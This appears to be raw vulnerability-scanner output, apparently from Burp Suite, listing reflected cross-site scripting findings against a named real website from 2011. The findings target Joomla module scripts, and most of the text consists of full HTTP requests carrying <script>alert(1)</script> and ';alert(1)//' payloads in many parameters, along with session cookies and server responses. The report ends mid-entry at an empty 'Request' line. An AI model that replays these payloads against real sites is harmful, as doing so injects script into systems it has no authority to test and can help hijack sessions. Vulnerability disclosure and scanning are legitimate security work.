GET /index.php?option=com_content&view=category&layout=blog&id=98&Itemid=111&9b17a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea893ecab85e=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:49:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:49:13 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The value of the image_x request parameter is copied into the HTML document as plain text between tags. The payload 4eeec<script>alert(1)</script>a46501efcd6 was submitted in the image_x parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=04eeec<script>alert(1)</script>a46501efcd6&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the image_y request parameter is copied into the HTML document as plain text between tags. The payload e255c<script>alert(1)</script>249d8d38b12 was submitted in the image_y parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0e255c<script>alert(1)</script>249d8d38b12&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the module_height request parameter is copied into the HTML document as plain text between tags. The payload 83595<script>alert(1)</script>8968cd8d5c9 was submitted in the module_height parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=27083595<script>alert(1)</script>8968cd8d5c9&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the module_width request parameter is copied into the HTML document as plain text between tags. The payload 430cc<script>alert(1)</script>0b9b8e7996f was submitted in the module_width parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615430cc<script>alert(1)</script>0b9b8e7996f&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the text_block_bgcolor request parameter is copied into the HTML document as plain text between tags. The payload c2c09<script>alert(1)</script>e6026c228c was submitted in the text_block_bgcolor parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffffc2c09<script>alert(1)</script>e6026c228c&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:40 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the text_block_margin request parameter is copied into the HTML document as plain text between tags. The payload 92616<script>alert(1)</script>ce159aaf62 was submitted in the text_block_margin parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=40592616<script>alert(1)</script>ce159aaf62&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the text_block_opacity request parameter is copied into the HTML document as plain text between tags. The payload 45c34<script>alert(1)</script>10eff4952b3 was submitted in the text_block_opacity parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=045c34<script>alert(1)</script>10eff4952b3&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the text_block_width request parameter is copied into the HTML document as plain text between tags. The payload ef2d2<script>alert(1)</script>2b50e983568 was submitted in the text_block_width parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195ef2d2<script>alert(1)</script>2b50e983568&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the thumbnail_border request parameter is copied into the HTML document as plain text between tags. The payload 8fc44<script>alert(1)</script>3359efc16d3 was submitted in the thumbnail_border parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=18fc44<script>alert(1)</script>3359efc16d3&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the thumbnail_height request parameter is copied into the HTML document as plain text between tags. The payload 9673e<script>alert(1)</script>59db9d4223c was submitted in the thumbnail_height parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=449673e<script>alert(1)</script>59db9d4223c&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the thumbnail_margin request parameter is copied into the HTML document as plain text between tags. The payload 9dcc8<script>alert(1)</script>ff0b9230bba was submitted in the thumbnail_margin parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=59dcc8<script>alert(1)</script>ff0b9230bba&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the thumbnail_width request parameter is copied into the HTML document as plain text between tags. The payload ba4ce<script>alert(1)</script>afde6d92280 was submitted in the thumbnail_width parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66ba4ce<script>alert(1)</script>afde6d92280&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the tick_x request parameter is copied into the HTML document as plain text between tags. The payload 44675<script>alert(1)</script>e58bcc8132a was submitted in the tick_x parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=40544675<script>alert(1)</script>e58bcc8132a&tick_y=-22 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the tick_y request parameter is copied into the HTML document as plain text between tags. The payload a1678<script>alert(1)</script>18a092c8e6e was submitted in the tick_y parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /modules/mod_gk_news_image_1/css/style.php?text_block_background=1&text_block_bgcolor=ffffff&text_block_width=195&text_block_opacity=0&text_block_margin=405&module_width=615&module_height=270&thumbnail_bar=1&thumbnail_width=66&thumbnail_height=44&thumbnail_margin=5&thumbnail_border=1&thumbnail_bar_position=1&image_x=0&image_y=0&slides_count=4&tick_x=405&tick_y=-22a1678<script>alert(1)</script>18a092c8e6e HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the animation_interval request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f0c62%3balert(1)//1b0eb0bc8a4 was submitted in the animation_interval parameter. This input was echoed as f0c62;alert(1)//1b0eb0bc8a4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000f0c62%3balert(1)//1b0eb0bc8a4&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the animation_slide_speed request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 2ee3a%3balert(1)//1593c8e07e8 was submitted in the animation_slide_speed parameter. This input was echoed as 2ee3a;alert(1)//1593c8e07e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=5002ee3a%3balert(1)//1593c8e07e8&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:40 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the animation_slide_type request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c5710%3balert(1)//332a1715734 was submitted in the animation_slide_type parameter. This input was echoed as c5710;alert(1)//332a1715734 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0c5710%3balert(1)//332a1715734&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the animation_text_type request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c8d26%3balert(1)//5b6a85ca483 was submitted in the animation_text_type parameter. This input was echoed as c8d26;alert(1)//5b6a85ca483 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0c8d26%3balert(1)//5b6a85ca483&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the autoanimation request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1874f%3balert(1)//ab4ff2d961a was submitted in the autoanimation parameter. This input was echoed as 1874f;alert(1)//ab4ff2d961a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
